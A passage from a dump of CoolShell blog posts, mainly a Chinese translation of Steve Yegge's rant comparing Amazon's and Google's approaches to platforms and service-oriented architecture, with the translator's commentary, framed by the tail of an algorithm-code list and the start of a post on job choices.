[(link)](http://www.keithschwarz.com/interesting/code/?dir=lights-out) | 8‑29‑2011 | C++ | A solver for the game [Lights Out](http://en.wikipedia.org/wiki/Lights_Out_(game)) using [Gaussian elimination](http://en.wikipedia.org/wiki/Gaussian_elimination) over [GF(2)](http://en.wikipedia.org/wiki/GF(2)). |\n| Maximum Single-Sell Profit | [(link)](http://www.keithschwarz.com/interesting/code/?dir=single-sell-profit) | 11‑9‑2011 | Python | Four algorithms for the [maximum single-sell profit problem](http://stackoverflow.com/q/7086464/501557), each showing off a different algorithmic technique. |\n| Generalized Kadane’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=generalized-kadane) | 11‑10‑2011 | C++ | A generalization of [Kadane’s algorithm](http://en.wikipedia.org/wiki/Maximum_subarray_problem) for solving the maximum subarray problem subject to a [length restriction](http://stackoverflow.com/q/7861387/501557). |\n| Longest Range | [(link)](http://www.keithschwarz.com/interesting/code/?dir=longest-range) | 11‑19‑2011 | Java | An algorithm for solving the [longest contiguous range](http://stackoverflow.com/q/5415305/501557) problem. |\n| Egyptian Fractions | [(link)](http://www.keithschwarz.com/interesting/code/?dir=egyptian-fraction) | 11‑20‑2011 | Python | An implementation of the [greedy algorithm](http://en.wikipedia.org/wiki/Greedy_algorithm_for_Egyptian_fractions) for finding [Egyptian fractions](http://en.wikipedia.org/wiki/Egyptian_fraction). |\n| LL(1) Parser Generator | [(link)](http://www.keithschwarz.com/interesting/code/?dir=ll1) | 11‑21‑2011 | Java | An [LL(1) parser generator](http://en.wikipedia.org/wiki/LL_parser). |\n| LR(0) Parser Generator | [(link)](http://www.keithschwarz.com/interesting/code/?dir=lr0) | 11‑23‑2011 | Java | An [LR(0) parser generator](http://en.wikipedia.org/wiki/LR_parser). |\n| Word Ladders | [(link)](http://www.keithschwarz.com/interesting/code/?dir=word-ladder) | 11‑27‑2011 | JavaScript | A program for finding [word ladders](http://en.wikipedia.org/wiki/Word_ladder) between two words. |\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](https://coolshell.cn/articles/8239.html)[无锁队列的实现](https://coolshell.cn/articles/8239.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\nThe post [一些有意思的算法代码](https://coolshell.cn/articles/6010.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-3 SteveY对Amazon和Google平台的吐槽.md",
    "content": "---\nlayout: post\ntitle: SteveY对Amazon和Google平台的吐槽\ndate: 2011/11/3/ 1:19:12\nupdated: 2011/11/3/ 1:19:12\nstatus: publish\npublished: true\ntype: post\n---\n\nSteve Yegge， Amazon的前员工，现任Google员工，其本来想在Google+上和Google的员工讨论一些关于平台的东西，结果不小心把圈子设成了Public，结果这篇文章就公开给了全世界，引起了剧烈的反应。发布后很快他就马上把这篇文章删了，不过，互联网上早备份了下来——[SteveY’s Google Platforms Rant](https://raw.github.com/gist/933cc4f7df97d553ed89/24386c6a79bb4b31fb818b70b34c5eab7f12e1ff/gistfile1.txt)。后来，Steve在[其Google+上作了一些解释](https://plus.google.com/110981030061712822816/posts/bwJ7kAELRnf)，大体是说他喝多了，而且又是在凌晨，所以大脑不清，文章中的观点很主观，极端且不完整，还有Google的PR对他很好，等等，等等 。\n\n\n几个星期前看到时就一直都想翻译一下这篇文章，不过因为最近事情太多，文章又很长，所以现在才翻译完成，翻译的不好，还请大家指正。\n\n\n### 导读\n\n\n在你阅读正文以前，我想说明几点，希望你注意一下：\n\n\n* Steve这个人非常喜欢写长篇大论的东西。而且比较喜欢辛辣调侃和恶搞的文风，这点大家要注意！\n\n\n* 文中先“骂”Amazon公司，再通过“骂”Amazon的创始人贝索斯Bezos并烘托出他的的悟性和雄心，最后教育了一下Google。\n\n\n* 我把文章分成了三个部分，这样方便大家阅读和讨论。第一部分只是个人情绪化的抱怨，第二部分是说Amazon的成长，第三部分是教育Google，我觉得第二部和第三部分是重点。\n\n\n* 对于我们来说，我们应该获取Steve那些关于平台（Platform）相关的那些有价值的观点。尤其是他说的Amazon如何进化成一个平台性的公司，以及阐述Google应该怎么做的那些观点。\n\n\n* 关于对Amazon的那些指责，我想说，6年，对于一个世界级的互联网公司，已经很不一样了。\n\n\n### 正文\n\n\n#### 第一部分\n\n\n我曾在Amazon工作了六年半，现在，我在Google的日子也差没不多这么长了。对于这两家公司，有一件事总是萦绕着我——这种感觉一天比一天强烈──那就是，Amazon每件事都做错了，而Google每件事都做对了。当然啦，这是很笼统的话，但却是惊人的准确，相当的疯狂吧。大概有一百甚至两百种不同的地方可以让我们去比较这两个公司，而Google可能在每一项都能胜出，如果我记的没错，除了其中3项以外。因为，我曾用电子表格把这些项都列出来了，只是法务部门不会让我给任何人看，即使人事招募部门很喜欢这个报表。\n\n\n\n这里，让我先给你个例子让你稍微体会一下：Amazon的人事雇用流程有根本上的缺陷，因为各个团队各招各的人，以至于，各团队之间的招聘标准相当的不一致性，即使他们通过各种努力来统一标准，但是实际操作上却是一团糟；他们没有真正的SRE（陈皓注：Site Reliability Engineer ），工程师们什么事都要做（陈皓注：所谓SDE – Someone Do Everything）、几乎没时间编码。当然，不同的部门有不同的情形，不过，这取决于你的运气。他们不搞慈善，也不帮扶贫困人群，也不搞社区贡献，或是其它相似的活动。在那里，他们从来不谈这些，或许只有在说笑话的时候才会提到。他们的办公环境是个灰尘及污迹四处的像农场一样的隔间，他们在公共区域连一分钱装修的都不会花，而且，他们的薪水和福利相当差，只是近来与Google和Facebook竞争人才，这个差距才变得非常地小。不过，他们没有我们有的津贴或额外奖金——他们只是给你录用信上的那个数字，就这么多。他们的程序代码完全就是灾难，无论什么都没有任何的工程标准，除了各别团队有一些。\n\n\n公平起见，他们的确有套非常非常不错的版本控制管理系统，而这是我们（Google）需要尽力赶上他们的地方，他们还有一个漂亮的发布/订阅系统，我们也没有相对应的东西。不过，就大体而言，他们有的不过是一堆蹩脚的工具，用关系数据库来读取或写入状态机里的信息中罢了。我们不应该这么搞就算这样做是可以。\n\n\n这就是我所所说的那3件事中的两件事Amazon比Google强的，那就是的他们的发布/订阅系统以及版本控制和管理系统。\n\n\n我猜你也许会为他们争辩到——他们要更快更早地推出服务并通过狂热地迭代来不断地改进和完善。他们把服务发布的优先级看得比任何事都重，包括工程纪律或是其它一堆可能会让其花时间的事务。所以，即使这么做让他们在市场上有了某种程度的竞争优势，但也造成其他足够多的问题，总之，这样的做法算不上是个漂亮的扣篮。\n\n\n但是，他们有一件事做的非常非常好，其好到可以把其他政治，理念，技术上的消耗和混乱**完全**弥补回来。\n\n\n#### 第二部分\n\n\nJeff Bezos是个臭名昭彰的微管理经理人，他的微管理都管理到了Amazon零售网站上的每一个显示像素。他雇佣了Larry Tesler——Apple的首席科学家，他可能是全世界最有名也最受尊敬的人机交互接口专家，然而，Bezos忽略了Larry三年来提出的每一个建议，直到Larry最后——明智地——终于离开了公司。Larry本应做一些大型可用性（Usability）研究，并可以系统地了解那个根本就没有人能够搞懂、使用那该死的网站，可是，Bezos对于那些像素不放手，这些页面上的那几百万个显示像素就像是他的孩子一样。所以，他的这些孩子还留着，而Larry没有。\n\n\n当然，微管理不是第3项Amazon做的比我们好的事。我的意思是，没错，他们微控管理做地非常地好，但我不会把这项列在他们的强项清单上。我这样说只不过是为了我下文做铺垫，帮助你了解我后面要说的事儿。我们现在要说的这个人，是在多个严肃的公开场合说要来Amazon工作就应该付他钱才对的人。当有人跟他意见不同时，他会递出写有他名字的黄色即时贴以提醒那个人“谁是公司的老大”。这家伙是……，Steve Jobs，我想，除了没有品味和设计能力，他们很相似。千万别误解我，Bezos是个绝顶聪明的人，只不过他把那些正常的管控搞得像嗑了药的嬉皮士一样罢了。\n\n\n所以，有一天，Jeff Bezos下了一份命令。当然，他总是这么干，这些命令对人们的影响来说就像用橡皮槌敲击蚂蚁一样。这个命令大概是2002年，我想误差应该是在正负1年内 —— 这个命令发布的范围非常地广，设想很大，让人眼珠子鼓出来的那种，这种惊讶程度和其他的命令相比，就好像你突然收到公司给你的奖金一样让人惊讶。\n\n\n这份大命令大概有如下几个要点：（陈皓注：这里是本篇文章的要点！如果这真是Bezos发出来的，那么太赞了，Bezos完全就是一个系统架构大师啊，那可是2002年左右啊。作者调侃Bezos完全是正话反说啊）\n\n\n\n> \n> * 1) 所有团队的程序模块都要以通过Service Interface 方式将其数据与功能开放出来。（陈皓注：Service Interface也就是Web Service）\n> \n> \n> * 2) 团队间的程序模块的信息通信，都要通过这些接口。\n> \n> \n> * 3) 除此之外没有其它的通信方式。其他形式一概不允许：不能使用直接链结程序、不能直接读取其他团队的数据库、不能使用共享内存模式、不能使用别人模块的后门、等等，等等，唯一允许的通信方式只能是能过调用 Service Interface。\n> \n> \n> * 4) 任何技术都可以使用。比如：HTTP、Corba、Pubsub、自定义的网络协议、等等，都可以，Bezos不管这些。（陈皓注：Bezos不是微控经理吗？呵呵。）\n> \n> \n> * 5) 所有的Service Interface，毫无例外，都必须从骨子里到表面上设计成能对外界开放的。也就是说，团队必须做好规划与设计，以便未来把接口开放给全世界的程序员，没有任何例外。\n> \n> \n> * 6) 不这样的做的人会被炒鱿鱼。\n> \n> \n> * 7) 谢谢，祝你有个愉快的一天！\n> \n> \n> \n\n\n哈哈！你们这150个前Amazon的员工，当然能马上看出第7点是我开玩笑加上的，因为Bezos绝不会关心你的每一天。\n\n\n不过第6点是很真实的，于是，所以人们都去工作。Bezos并派出了几位首席牛头犬来监督并确保进度，领头的是和熊一样大的牛头犬：Rick Dalzell，Rick是以前是陆军突击队队员，西点军校毕业生，拳击手，和沃尔玛的首席虐刑官 / CIO，而且他也是个高大、和蔼、令人敬畏的人，还是经常使用”hardened interface”词的人，Rick 本来的走路和说话都比较hardened interface，所以不用多说，每个人都得干 出有**重大的**进展，这样Rick才能看得见。\n\n\n在接下来的几年，Amazon内部转变成面向服务架构SOA(Service-Oriented Architecture)，在这华丽转身的过程中，他们学到了相当巨多巨多的东西。我在的那个时候，世界上就有很多很多的关于SOA的学术文档，但在Amazon的那种超大规模的面前，世间的这些文档就好像告诉印第安纳琼斯（陈皓注：电影夺宝奇兵男主角）过马路前要先看看两边有没有来车一样没用，Amazon的研发工程师们在这个过程中发现了很多很多的问题，并从中学到了很多。下面只是他们这些问题中的沧海一粟：\n\n\n* pager escalation（陈皓注：生产线上问题的寻呼系统）变得比较困难，因为ticket可能会转过来转过去（陈皓注：ticket就是处理问题的工单），只到转了20次，都找到真正能解决问题的团队和人。如果每一个呼叫都花去团队的15分钟的响应时间，那在找到真正的团队之前，几小时就已经过去了，除非，你能建造出很多很多的脚手架，测量标准和报告。\n\n\n* 每一个和你的相关团队突然间都可能成为一个潜在性的DOS攻击者。没人可以让事情有进展，直到在每一个Service里放上配额（quota）与节流阀（throttling）的机制。\n\n\n\n* 监控与QA是被统一了。如果你不进行一个大规模的SOA，你就不会这么去想。但是，等到你的Service说，“是的，我还好！”，但实际情况可能是，服务器里唯一能正常运作的功能就是一个快乐的机器声音在呼叫你：“我很好，收到，收到”。为了要确认整个服务能正常运作，你需要对Service的每一个部分都去Call一下。这个问题会以递归的形式地出现，直到你的监控系统能够全面性地系统地检查所有的Services和数据，此时，监控系统就跟自动化测试QA没什么两样了，所以两者完美的统一了。\n\n\n\n* 如果你有上百个Services，而且你的程序只能通过由这些Services来跟其他团队的程序做沟通，那么，没有一套Service发现机制的话，你就不能找到这些Service。所以，你得先有一套Service的注册机制，这也是一个Service。所以，Amazon有一套全体适用的Service注册机制，以例可以通过反射机制来找到Service，并知道Service的API，以及是否可用，在哪儿。\n\n\n* 调试其他人的代码以调查问题变得非常的难，几乎都不可能，除非有一套全面性的标准的方式，他可以在可被调试的沙盒里运行所有的Services。\n\n\n上面这些只是极少数几个例子，在Amazon在进化的过程中，Amazon遇到这样的问题可能一打甚至数百个，Amazon都一一学习和总结了。对于把Service外部化甚至还有很多几乎没有人会想到的非常生僻的东西，当然，也不会有你想像的那么多，Amazon都学到了。把业务组织成Service让团队学会了不能相信对方，就如同他们不能信任公司以外的程序员一样。\n当我在2005年中期离开Amazon加入Google时，这个努力进化的过程还在进行时中，但那时已经相当的先进了。从Bezos颁布法令的时间到我离开的时候，Amazon已经把文化转变成了“一切以Service第一”为系统架构的公司，今天，这已经成为他们进行所有设计时的基础，包括那些绝不会被外界所知的仅在内部使用的功能。\n\n\n那时，如果没有被解雇的的恐惧他们一定不会去做。我是说，他们今天仍然怕被解雇，因为这基本上是那儿每天的生活，为那恐怖的海盗头子Bezos工作。不过，他们这么做的确是因为他们已经相信Service这就是正确的方向。他们对于SOA的优点和缺点没有疑问，某些缺点还很大，也不疑问。但总的来说，这是正确的，因为，SOA驱动出来的设计会产生出平台（Platform）。\n\n\n是的，这就是Bezos的法令要达成的目标。他以前（现在也是）一点不关心各团队是否好，也不关心他们使用什么样的技术，实际也不去管他们如何运作他们的业务，除非团队开始把事搞砸。但是，Bezos比绝大多数的亚马逊人都很早很早就领悟到，Amazon必须成为一个平台。\n\n\n**如果是你，你会想到要把一个在线卖书的网站设计成为一个有扩展性，可程序化的平台？你真的会这样想吗？**\n\n\n嗯，第一件Bezos领悟到的大事是，为了销售书籍和各种商品需要的基础架构，这个基础架构可以被转变成为绝佳计算平台（Computing Platform）。所以，现在他们有了Amazon Elastic Compute Cloud（亚马逊弹性运算云平台EC2），Amazon Elastic MapReduce，Amazon Relational Database Service（亚马逊关系数据库服务），以及其他可到AWS [aws.amazon.com](http://aws.amazon.com/)查得到的一堆Service。这些服务是某些相当成功的公司的后台架构，比如 我个人喜欢的 reddit 是这一堆成功公司的其中一个。\n\n\n另一大领悟是，他知道他们不可能永远都创造出对的东西。我认为，当Larry Tesler说他妈妈完全搞不懂怎么使用那个该死的网站时，Bezos的某根筋被触动了，当然，我也不清楚到底是谁家母亲，这无关紧要，因为没有人的母亲能够会用那个该死的网站。事实上，连我这个在那工作超过5年的人都觉得Amazon网站的接口令人胆战惊心。\n\n\n我并不是很确定Bezos是如何领悟到的——领悟到他不能创造 出一个产品能适用于所有的人。不过，怎么来的这不重要，重要的是他的确领悟了。这种事有一个正式的术语，叫Accessibility，这是计算机世界中最最重要的事情了。\n\n\n最！重！要！的！事！\n\n\n如果你在心里面在想“哼？你是说，像盲人和聋人那种Accessibility吗？”，那么，你不是唯一这样想的人，因为我已经知道有**很多很多**像你这样的人：这种东西对你们这种人来说是不可能有正确的Accessibility，所以这事你还不能理解。当然，不能理解也不是你的错，就像眼盲，耳聋，或是其他行动不便的残疾人，这些也不是他们的错。当Software——或ideal-ware——如果因为某些原因不能被存取或使用，那么，这就是软件或是那想法的错了。这就是Accessibility failure。\n\n\n就如同生命中那些重大的事一样， 每个事都有一个邪恶的双胞胎姊妹，它在幼年都受到父母的溺爱，现在它已经成长为同等强大的复仇女神（是的，Accessibility有不只一个复仇女神），这个复仇女神叫安全性（Security），他们在一起总是争执不休，冤家一对。\n\n\n不过，我会和你争论Accessibility要比安全性来的重要多了，因为零Accessibility就意为着你根本没有做出产品来，而如果安全性为零，你仍然还是可以有一个某个程度上成功的产品，譬如说Playstation Network。\n\n\n对了，也许你还没注意到，我其实可以为这篇文章写出一整本书，很厚的一本，其中填满了那家我曾工作过的公司里关于蚂蚁与橡皮槌的事。但是，我可能也就永远无法在这发表这短篇的夸夸其谈了，而你也就无法读到除非我现在开始结尾。\n\n\n#### 第三部分\n\n\n那三件Amazon比Google强的中的最后一件事是，Google很不会做平台（Platform）。我们就不懂什么是平台。我们就根本不知道平台的内涵。你们其中一些人明白，但是你们是少数派。在Google过去这六年来，越清楚这一点就越让我痛苦。我曾有一线希望，来自Microsoft和Amazon，以及近来Facebook的竞争压力，会让我们全体人都清醒过来，并开始打造我们公司的Service。不是那种特制的或半生不熟的，而是多少和Amazon的类似的那种：一次到位，真正的，没有作弊或是欺骗，并且把它放在最高优先级的位置。\n\n\n但实际上却不是，这个事被放在了好像是第10还是第11位，或是第15位，我不知道，反正是相当低。只有少数几个团队严肃地看待这个事，但大多数的团队不是**从没有**思考过这个事，就是只有一很少的人很鼠目寸光地在看待这个事。\n\n\n对大多数的团队来说，只要是让他们以提供给别人那种可程序化的方式存取他们的数据与运算的方式来开发软件，就算几个小小的粗糙的Service，对他们来说也是翻天覆地。他们大部分人都认为他们在做产品，但他们只是在提供那些凄惨粗糙的Service。回去看看前面我所列的那些部分的Amazon学到的东西，然后告诉我，哪一个粗糙的Service能让你有超凡脱俗的产品。迄今为止，就我所知，一个也没有。就算是这些粗糙的东西很不错，不过这就好像要汽车的时候，你却只有汽车的零件。\n\n\n**没有平台的产品是没用的，再精确一点，去平台化的产品总是被平台化的产品所取代**。\n\n\nGoogle+是我们完全失败的不懂Platform最明显的例子，从最高层的管理层（嗨，Larry、Sergey、Eric、Vic，你们好）一直到最最底层的员工（嘿，你）都不懂。我们全部统统都不懂。平台Platform的黄金守则是Eat Your Own Dogfood（吃你自己的狗食——自己都要用自己的平台）。Google+这个平台是个杯具的事后抄袭者。我们在发布它的时候完全没有任何API。我查了一下，目前也只有少得可怜的API。Google+的一个团队的成员在发布API时告诉我这个事，我问：“这是Stalker API（用来偷窥内部数据的API）吗？”，她郁闷地说，“是啊”。我的意思是，我那只是个玩笑话，但是，不，我们提供的唯一的API就是取得某人的信息流，所以，我想我把玩笑开到自己头上了。\n\n\nMicrosoft知道“狗食守则”至少有20年了。这已经成为他们世世代代文化的一部分了。不能是你吃人类的食物而给你的开发人员们喂狗食。那样做只会是为了短期的成功而掠夺了平台长期价值。平台就是要你考虑得长远。\n\n\nGoogle+就像膝跳反射，一种短视的的东西，是基于以为Facebook其伟大产品的成功作出的错误判断。但那不是为什么他们能成功的东西。Facebook的成功是因为他们建立了一个可以让外界在其上上面开发的产品群。所以对Facebook对每个人来都不一样。有些人把全部时间花在“Mafia Wars”上，有些人则是花在“Farmville”（开心农场）。那里还有成百上千个不同的高质量的时间消耗类的游戏，所以，人们总是可以在那里找到他们想要的。\n\n\n我们的Google+团队看了看说：“哎呀，看来我们需要一些游戏，让我们去找一些人来为我们写些游戏吧”。你是否开始看到这样的的思考有多么不靠谱了吗？问题在于我们试图在预测人们想要什么，然后推出产品给他们。\n\n\n你不能这么做。真的不能。也不可靠。在这个世上，甚至在整个计算机的历史上，只有极少数几个人能够这么干，Steve Jobs是其中一个。但是我们没有Steve Jobs。对不起，我们真的没有。\n\n\nLarry Tesler有可能说服了Bezos相信他并不是Steve Jobs，但Bezos意识到他不需要成为Steve Jobs也能提供给所有人好的产品：大家感到容易使用的接口与工作流。Bezos明白他只要有让第三方开发人员来做的平台，这些东西自然就会有的。\n\n\n我要向一些人道歉，这些人会觉得我所说的是再明显不过的了。是的，的确是巨明显的。只是我们没有去做。我们没有领会平台，我们也无法领会到Accessibility。这两者本来就是同一件事，因为平台会解决Accessibility。而平台就是Accessibility。\n\n\n* 是的，Microsoft领会到了。而且你们也像我一样知道Microsoft他们对这些东西一知半解。那是因为他们能够了解平台完全是他们商业上意外性的副产品，是他们一开始的业务就是提供平台。所以他们在这个领域有着三十多年的经验。如果你去看看 [msdn.com](http://msdn.com/)，并多花点时间浏览一下，假设你以前从没去看过，你等着被吓到吧，因为那里面的东西可是多得不能再多。他们拥有**成千成千成千**个API。他们拥有一个**超巨大**的平台。说实话，太巨大了，因为他们要霸占一切，但至少他们做了。\n\n\n* Amazon也领会了到了。Amazon的AWS([aws.amazon.com](http://aws.amazon.com/))相当的惊人。去看看吧，四处点一下。令人羞耻吧。我们今天什么都还没有。\n\n\n* 很明显Apple也领会到了。他们做了在基础上不开放的选择，具体来说是移动平台。但是他们明白什么是Accessibility，并且他们知道如何燃起第三方开发团体的力量，而且他们吃自己的狗食。你知道吗？他们的狗食做得很好吃啊。他们的APIs比Microsoft的要干净不知道多少倍，而且是远古的时候就这样了。\n\n\n* Facebook也领会到了。这正是让我所担心的。这使得我不得我抬起懒惰屁股写下这些东西。我恨写Blog。我恨……Plus（指Google Plus）不管怎么称呼它，反正在Google+上发表长篇大论，就算这是个糟糕的地方，但是你还是希望Google能成功.我真希望！我的意思是，Facebook想挖我，而且很容易就去了。但Google是我的家，所以我坚持我这个小小的家庭干涉，就算你不舒服。\n\n\n等到你为Microsoft与Amazon提供的平台感到神奇后，当然，我想也你可能会被Facebook吓到（我不敢去看，因为我不想让我太沮丧），让我们回头看看 [developers.google.com](http://developers.google.com/) 。是不是有很大的差别？我们的这个平台看起来像是你家小学五年级的侄子搞出来的东西一样——让一个小学五年级的学生，试着为一个强大的的平台公司去设计平台，就像像我们问这个小学生：“如果这家公司什么资源都有，那你会做出个什么东西来？” 一样。\n\n\n这里请不要误解我——我知道一个事实，dev-rel 团队为了发布这些API曾经不得不去“搏斗”。据我所知，这个团队很不错，因为他们知道什么是平台，并且他们如英雄般努力挣扎地要做出来，然而遇到的却是“平台冷漠”的环境，难听点还是那种有敌意的环境。\n\n\n我只是在直白地描述出一下 [developers.google.com](http://developers.google.com/) 在外人眼里是什么样子。它看起来很幼稚。Maps APIs在哪呢，老天啊？其中有些东西还是实验性的项目，我点进去看的APIs……他们都毫无价值。他们很明显都是些真正的狗食。甚至都称不上是好的有机食品。跟我们内部APIs比起来，他们全部简直就是猪屎马粪。\n\n\n当然，也不要错误地理解我对Google+的看法。他们还不算是最差的。这是文化氛围的事。我们现在做的简单来说就是要进行一场战争，是一场失败很多的少数的平台派和那些强大的信心坚持的产品派的战争。\n\n\n那些从头到尾明白理解供外部可程序化的平台概念的团队都是受压迫的人——Maps跟Docs团队浮现在我脑海中，而且我也知道GMail是这个方向的先头部队，但是他们很难得到资金注入，因为这不是我们文化的一部分。Maestro的资金完全没法和Microsoft Office开发平台的资金相比：就像小白兔和暴龙相比一样。Docs团队知道自己永远无法和Office竞争，除非他们能赶上Office的脚本能力，而且他们得不到他们相要的资源。我的意思是我假定他们没有，现在应用的脚本能力只在电子表格中有，而且没有为API设置键盘快捷键。在我看来，这个团队完全没有被重视。\n\n\n具有讽刺意的是，Wave是个伟大的平台，愿他能安静地长眠。我们需要知道，做一个平台并不会马上给带来成功。平台需要杀手级应用。Facebook——他们供应了的涂鸦墙和朋友关系网等其他东西——则是Facebook平台的杀手级应用。但是，如果你说没有Facebook平台，仅有Facebook应用也能像今天这样成功，那么，这会是一个非常严重的错误。\n\n\n你知道吗？人们总是在说Google的傲慢自大。我是个Google人，所以我和你一样当听到那些话都会觉得很愤怒。但总体而言，我们并不傲慢。我们大约99%不自大。我在文章开头时就写到——如果你回去看看—— 我是这样描述Google的“所有的事都做对了”。我们知道人们为什么要这么说我们自大，因为我们没有雇用他们，或是因为他们对我们的政策不爽，或是那一类的事情。他们推断出我们自大是因为这样会让他们心理平衡一些。（陈皓注：作者在这里的反话正说）\n\n\n但是，当我们摆出那种我们知道怎么给用户设计出完美的产品的姿态时，你最好相信我，我们就是笨蛋。你可以说是自大，天真，或是别的什么，无所谓，但最终的结果就是我们干的很愚蠢。因为，这世界不可能有一个产品对所有人都是完美的。\n\n\n你看，我们的浏览器居然不能让人设定默认的字号。这就是我们对Accessibility的公然冒犯。我的意思是，我总有一天会老的，我也会得老花眼，并会变瞎的。我的意思是我不会变瞎，但是如果你到了40岁，你的老花眼让你看不清近的东西。那么，字号的选择会成为生和死的问题：某用户就会被完全排除在产品之外。但是Chrome团队就是这么NB傲慢：他们想要开发出无需配置的产品，他们对此相当自豪，去你TMD是瞎子还聋子，管你是谁，在你剩下的日子每访问一个页面都按一下Ctrl-+吧。\n\n\n并不仅是他们是第一个。问题是，我们是一家“产品”公司，一直一直都是。我们开发的最成功最有吸引力的产品——搜索引擎，那样巨大的成功让我们产生了很多定式和偏见。\n\n\n* Amazon过去也是家产品公司，一道神秘的力量使得Bezos领悟到他们需要平台。那道神秘力量来源于，他们被 逐渐蒸发的市值逼到墙角了，不得不想方设法突围出来。但他当时所拥有的只有一群工程师和他们的一堆计算机……除非他们能变成印钞机……你可以看到他们是怎么搞出来AWS的，而不是像我们Google+一样事后诸葛亮。\n\n\n* Microsoft从一开始就是个平台，所以他们有很多很多的实践。\n\n\n* Facebook：我有些没看透。我不是专家，不过我很肯定他们一开始也是一个产品，并且成功了很长时间。所以我不知道他们什么时候开始转变成为平台的。应该是很久以前的事了，因为他们要成为平台后，Mafia Wars这玩意才会出现（而Mafia Wars也很老了）。也许，Facebook只是看一眼我们，就问到：“我们如何击败Google？他们少了什么？”\n\n\n我们面对的问题非常的庞大，因为我们需要经过剧烈的文化转变后，我们才能迎头赶上。我们没有内部的SOA平台，所以我们外部也没有。这就是说，我们整个公司都“没有领会到”：产品经理没有，工程师没有，产品团队没有，没人领会到。就算是个别人有，比如你你有，那也相当于没有，除非我们在生死存亡的时候。我们不能这样不断推出产品，并装作我们以后会把这些产品转变成迷人美丽的可扩展式的平台。我们试过了，不行。\n\n\n平台的黄金守则，“Eat Your Own Dogfood 吃自己的狗食”，换句话说，“先打造出自己使用平台，然后把它用在所有的地方”。你不能事后再做，那样做就太困难了——你去问问那些把MS Office平台化、把Amazon平台化的人。如果你放在后面做，那么你比一开始要花十倍的精力才能做对。你不能作弊，你不能让内部软件走秘密通道以取得特定的优先权限，不为什么，你必需从一开始就要解决这个问题。\n\n\n我不是说现在做已经太迟了，但我们等的越长，我们就会越接近——“太迟了”。\n\n\n老实说，我不知道这篇文章怎么收尾。我今天在这里说得太多了。因为这篇文章花了我6年时间。请包涵我言语冒犯之处，包涵我可能误解了一些产品，团队，或某个人。也许我们真的在开始做了很多平台方面的东西，只是我没看到。我只想说声对不起。\n\n\n但是，我们现在开始必需把事做对了！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/5901.html)[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)\nThe post [SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-12-20 三个事和三个问题.md",
    "content": "---\nlayout: post\ntitle: 三个事和三个问题\ndate: 2011/12/20/ 0:39:41\nupdated: 2011/12/20/ 0:39:41\nstatus: publish\npublished: true\ntype: post\n---\n\n从9月份开始，是很多在校毕业生的择业时期，有很多很多朋友写邮件给我让我帮他们参考如何选择工作（对不起我无法在第一时间回信，因为实在是太多了，我那繁忙工作和生活都没办法让我能即时回复），并且还有一个已经工作了多年的技术很强的朋友因为跳槽没有跳好，也和我说了很多他 的感受。从这个过程中让我有了很多感触和想法想和大家分享，本来这篇文章1个月前就想写的，只是要写下来时不知道如何整理这么多的东西和思绪。今天也不知道，但是一定要写了，不然，我的这些感触和想法就会越来越不新鲜了。\n\n\n**注：这篇文章里的所有的故事都是真实的**，**其不可避免地会加上我******强烈的******个人情怀和个****人色彩******，**叙述的过程可能比较乱，但我能确保这些都是我的肺腑之言**。\n\n\n#### 第一个事：网友的来信\n\n\n第一个故事是一个杭州的学生的故事，其有两个offer，一个是北京的（雅虎研发中心），另一个是杭州的一个做商业智能软件的公司，也是美国的上市公司。他在给我的来信内心纠结地说：\n\n\n\n> 